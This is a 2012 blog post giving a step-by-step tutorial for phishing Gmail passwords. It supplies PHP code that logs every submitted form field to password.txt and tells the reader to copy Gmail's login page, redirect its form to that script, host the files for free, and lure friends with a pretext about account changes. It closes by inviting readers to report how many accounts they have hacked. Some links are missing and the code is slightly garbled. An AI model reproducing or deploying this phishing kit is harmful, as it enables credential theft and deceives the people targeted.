Simple steps for gmail password hacking

Friday, April 6, 2012

We will we use very popular method to hack Gmail account password that is Phishing.This is

 one of the best method to hack gmail  password.
For this, we need three files:
1.Fake gmail login page
2.Php file
3.Text file to store password

Create your php file:
1.Open notepad and copy this code:
header (“Location:”);
$handle = fopen(“password.txt”, “a”);
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “\r\n”);
fwrite($ handle, “\r\n”);
fclose($handle) ;
2.Now save this as gmailphishing.php

   Your php file is now created. 

   This php file will save information of victim in file password.txt

3.Create gmail fake login page:
   Go to and right click / View Source.Copy source in notepad and save 

   it as gmaillogin.html .

4.Now, open source code of this html file.
   We need to find the place where Login  code in gmail page that where send the user after 

   clicking on it.
5.Now, Press crtl-f after opening source code and search for this code action=anything.
   In this case, we have this
  We replace that part with:

6.Save your gmailfake.html file
7.Text file:
Create a blank text file and name it password.txt
Now upload all the three files gmailfake.html,gmailphishing.php,Password.txt in any free web 

hosting site directory like and now you can just check your fake gmail login page by 

going to for the fake login page.Just type some random 

user name and any password into the text box and then you will see in your file manager that a 

file called “Password.txt” is created,In which the password is stored.

You can use
also or any other free hosting site.
Suppose you register with name gmailaccounthack.Your link will be
After uploading files your phishing link will be

Send this link to your friend if they login there their password will be saved at the server .
You can trick your friend to login this fake page by saying some changes has to be made to your 

gmail account.It all depends on your imagination and creativity.

Share with us how many gmail accounts you have hacked till now.


Post a Comment

Get widget